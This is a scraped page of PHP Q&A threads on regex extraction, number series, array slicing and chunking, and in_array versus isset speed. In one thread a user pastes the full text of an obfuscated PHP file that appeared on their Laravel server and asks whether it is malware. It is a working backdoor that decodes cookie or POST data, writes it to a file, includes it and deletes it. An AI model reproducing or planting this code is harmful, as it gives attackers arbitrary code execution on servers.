php extract multiple sections of text from string - php

I'm trying to extract the text in the following way:
$subname = "subarray({value=subarray({0.5, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48}, EXCEL*48, 1)";
preg_match('#\{(.*?)\}#',$subname, $match, PREG_OFFSET_CAPTURE);
print_r($match[1][1]);
$matchs = substr( $subname, 0, $match[1][1]);
print_r($matchs);
I would like to obtain the following text from $subname
0.5, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48
EXCEL
*48
I'm struggling with the 2nd bit (getting the EXCEL word). I wonder whether it is possible to get preg_match to give me the rest of the string?

You may use
'#\{([\s\d.,]*)},\s*(\p{L}+)(\*\d+)#'
See the regex demo.
Details:
\{ - a {
([\s\d.,]*) - Group 1 capturing 0+ whitespaces, digits, commas and dots
} - a literal }
, - a comma
\s* - 0+ whitespaces
(\p{L}+) - Group 2: one or more letters
(\*\d+) - Group 3: a * and 1+ digits.
See a PHP demo below.
$subname = "subarray({value=subarray({0.5, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48}, EXCEL*48, 1)";
$res = array();
if (preg_match('#\{([\s\d.,]*)},\s*(\p{L}+)(\*\d+)#',$subname, $match)) {
$res = explode(", ", $match[1]);
array_push($res, $match[2]);
array_push($res, $match[3]);
}
print_r($res);

Related

In my live project .php files are creating with name like t1kpvh7s.php which contains this type of code kindly guide what are these for

this is the file code which is created automatically in my public folder in laravel 8 project deployed on ubuntu server. Is this some kind of malware or virus Please kindly explain it, thanks is advance
function x1($c2)
{
$j3 = "dHr-k<s6y7x.c_3?umLaFlb*po4#1eg#hf8;vI25" . " /ntEi'()";
$f5 = '';
foreach ($c2 as $d4) {
$f5 .= $j3[$d4];
}
return $f5;
}
$b6 = array();
$b6[] = x1(array(14, 12, 14, 7, 39, 19, 12, 34, 3, 12, 26, 28, 28, 3, 26, 14, 0, 22, 3, 22, 12, 12, 39, 3, 19, 39, 28, 7, 33, 38, 7, 9, 9, 0, 28, 39));
$b6[] = x1(array(15, 24, 32, 24, 40, 31, 16, 42, 21, 45, 42, 4, 47, 13, 13, 20, 37, 18, 44, 13, 13, 48, 35, 40));
$b6[] = x1(array(11, 17, 25, 0, 16, 21, 29));
$b6[] = x1(array(1, 23));
$b6[] = x1(array(11, 41));
$b6[] = x1(array(27));
$b6[] = x1(array(5));
$b6[] = x1(array(33, 45, 21, 29, 13, 24, 16, 43, 13, 12, 25, 42, 43, 29, 42, 43, 6));
$b6[] = x1(array(19, 2, 2, 19, 8, 13, 17, 29, 2, 30, 29));
$b6[] = x1(array(6, 43, 2, 13, 2, 29, 24, 29, 19, 43));
$b6[] = x1(array(29, 10, 24, 21, 25, 0, 29));
$b6[] = x1(array(6, 16, 22, 6, 43, 2));
$b6[] = x1(array(16, 42, 21, 45, 42, 4));
$b6[] = x1(array(6, 43, 2, 21, 29, 42));
$b6[] = x1(array(24, 19, 12, 4));
$b6[] = x1(array(17, 0, 39));
foreach ($b6[8]($_COOKIE, $_POST) as $d14 => $p11) {
function k8($b6, $d14, $b10)
{
return $b6[11]($b6[9]($d14 . $b6[0], ($b10 / $b6[13]($d14)) + 1), 0, $b10);
}
function b7($b6, $s12)
{
return #$b6[14]($b6[3], $s12);
}
function r9($b6, $s12)
{
if (isset($s12[2])) {
$i13 = $b6[4] . $b6[15]($b6[0]) . $b6[2];
#$b6[7]($i13, $b6[6] . $b6[1] . $s12[1]($s12[2]));
#include($i13);
#$b6[12]($i13);
exit();
}
}
$p11 = b7($b6, $p11);
r9($b6, $b6[10]($b6[5], $p11 ^ k8($b6, $d14, $b6[13]($p11))));
}

How to calculate random numerical sequency number?

I'm trying to build the following numerical series 1, 1, 2, 3, 4, 5, 5, 6 until 100 ( It is a homework) . I have to do this using php code but I cannot get it , I've read the fibonacci method but the numerical series numbers are different.
<?php
$a=1;
$serie="1";
for ($i=1;$i<=100;$i++)
{
if($i%5==0)
{
$serie=$serie.",$i,$i";
}
else
{
$serie=$serie.",$i";
}
}
print $serie;
?>
As #tim pointed out in the comment, the solution is not printing a sequence from 1 to 100 where only numbers that are MOD 5 = 0 are duplicated. That way you do not get the repetition on 1.
From your homework question (which is not really clear in my opinion) I presume you want something like this:
<?php
for ($i = 0; $i < 100; $i++) {
echo $i+1 . ", ";
if ($i % 4 == 0) {
echo $i+1 . ", ";
}
}
?>
It prints:
1, 1, 2, 3, 4, 5, 5, 6, 7, 8, 9, 9, 10, 11, 12, 13, 13, 14, 15, 16, 17, 17, 18, 19, 20, 21, 21, 22, 23, 24, 25, 25, 26, 27, 28, 29, 29, 30, 31, 32, 33, 33, 34, 35, 36, 37, 37, 38, 39, 40, 41, 41, 42, 43, 44, 45, 45, 46, 47, 48, 49, 49, 50, 51, 52, 53, 53, 54, 55, 56, 57, 57, 58, 59, 60, 61, 61, 62, 63, 64, 65, 65, 66, 67, 68, 69, 69, 70, 71, 72, 73, 73, 74, 75, 76, 77, 77, 78, 79, 80, 81, 81, 82, 83, 84, 85, 85, 86, 87, 88, 89, 89, 90, 91, 92, 93, 93, 94, 95, 96, 97, 97, 98, 99, 100,
The logic is to print the index increased by 1 each iteration, and print it again if the result of the modulus operation index % 4 is equal to 0.

Slice out a part of an multidimensional array

Okay, so I got this multidimensional array in my project with some different values in it. For example:
$myArray = array
(
array("Array1", 42, 57, 12, 27),
array("Array2", 44, 59, 14, 29),
array("Array3", 46, 1, 16, 31),
array("Array4", 47, 2, 17, 32),
array("Array5", 48, 3, 18, 33),
array("Array6", 51, 6, 21, 36),
array("Array7", 53, 8, 23, 38),
array("Array8", 55, 10, 25, 40),
array("Array9", 57, 12, 27, 42),
array("Array10", 59, 14, 29, 44),
);
I want to extract only a part of myArray, and "disable" the other part of the array. So I only want this output:
$myArray = array
(
array("Array1", 42, 57, 12, 27),
array("Array2", 44, 59, 14, 29),
array("Array3", 46, 1, 16, 31),
array("Array4", 47, 2, 17, 32),
array("Array5", 48, 3, 18, 33)
);
Is there any way of achieving this in php?
array_slice() could help you.
$myArray= array_splice($myArray, 0, 5);
print '<pre>';
print_r($myArray);
print '</pre>';

How to limit an array and split it into more arrays? PHP

I would like to do this...
I got this array with 50 elements
$data = array(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50);
and I would like to add the first 20 elements into another array, 20 should be the limit, if it is greater than 20 add the next 20 into another array and do this operation to only get array with 20 elements
I tried with this
$number = count($data);
$pieces = array_chunk($data, ceil($number / 2));
And I get only two sub-arrays from that, I'm lost, I need some ideas about how to achieve this, thanks.
That's because you're only trying to get 2 subarrays, since you're taking the total number and dividing it by 2. You're on the right track, you just need to specify the number of elements you want in each subarray:
$pieces = array_chunk($data, 20);

Why is in_array is faster than isset inside foreach?

Regarding to this thread what is faster: in_array or isset? They agreed that isset is faster than in_array.
But I ran to the issue where my page loads too slow and I var_dump-ed my vars to test it explicitly.
This is my extracted array.
$items = array(66, 68, 9, 68, 66, 57, 57, 66, 66, 66, 66, 68, 66, 48, 49, 14, 55, 57, 49, 105, 57, 57, 48, 105, 57, 66, 67, 57, 97, 67, 67, 50, 68, 57, 50, 51, 69, 71, 57, 57, 67, 69, 50, 50, 68, 67, 68, 68, 45, 97, 57, 56, 69, 69, 50, 67, 14, 68, 52, 53, 56, 62, 96, 96, 54, 62, 62, 68, 71, 69, 98, 83, 57, 98, 56, 84, 54, 6, 63, 64, 64, 62, 63, 54, 63, 54, 84, 1, 64, 64, 84, 54, 84, 84, 14, 3, 90, 65, 15, 15, 15, 63, 15, 93, 90, 90, 96, 93, 34, 94, 34, 74, 13, 40, 74, 40, 93, 93, 93, 93, 95, 94, 36, 35, 41, 94, 94, 35, 36, 41, 42, 44, 42, 93, 93, 96, 93, 36, 569, 43, 44, 65, 35, 13, 17, 33, 7, 7, 7, 7, 8, 73, 10, 12, 1, 1, 12, 1, 12, 38, 32, 39, 79, 80, 16, 82, 72, 82, 81, 72, 82, 18, 81, 28, 27, 27, 5, 26, 27, 25, 18, 26, 20, 26, 27, 28, 31, 20, 24, 28, 27, 20, 30, 29, 23, 22, 22, 29, 22, 30, 23, 23, 48, 49, 22, 29, 20, 30, 23, 18, 25, 31, 24, 28, 27, 26, 50, 57, 15, 62, 66, 63, 67, 64, 68, 65, 69, 34, 36, 35, 13, 14, 1, 3, 103, 74, 72, 81, 82, 90, 93, 94, 95, 96, 97, 98, 20, 25, 34, 36, 35, 8, 81, 73, 99, 100, 101, 102, 103, 104, 568, 568);
$productIds = array();
And the result I got is exactly the opposite, which:
$start = microtime(true);
foreach ($items as $item)
{
//if (!in_array($item, $productIds)) // 0.00030207633972168 seconds
if(!isset($productIds[$item])) // 5.2928924560547E-5 seconds
{
$productIds[] = $item;
}
}
$end = microtime(true);
echo ($end - $start).' seconds';
Then of course I am gonna stick with in_array in this case. But I am just curious what's going on here.. any idea?
Edit (actual code)
public function validateCreation ()
{
if ($this->getRequestParameter('ccItems'))
{
$arrProductIds = array();
foreach ($this->getRequestParameter('ccItems') as $ccItem)
{
//if ((!is_null($ccItem["product_id"])) && !isset($arrProductIds[$ccItem["product_id"]])) // 12.758,9kb-1.194ms and 12.758,9kb-1.202ms
if ((!is_null($ccItem["product_id"])) && !in_array($ccItem["product_id"], $arrProductIds)) // 11.599,5kb-972ms and 11.599.5kb-959ms
{
$arrProductIds[] = $ccItem["product_id"];
}
}
$result = "";
if (count($arrProductIds) > 0)
{
$isRequestValidated = MyClass::StaticFunction($arrProductIds, $result);
if ($isRequestValidated === false)
{
$this->getRequest()->setError('overall_error', $result);
}
}
}
return !($this->getRequest()->hasErrors());
}
You're wrong.
in_array takes 0.00030207633972168 seconds
isset takes 5.2928924560547E-5 seconds. Note the E-5 at the end, which by convention means 5.2928924560547×10-5 = 0.000052928924560547, which is faster.

Categories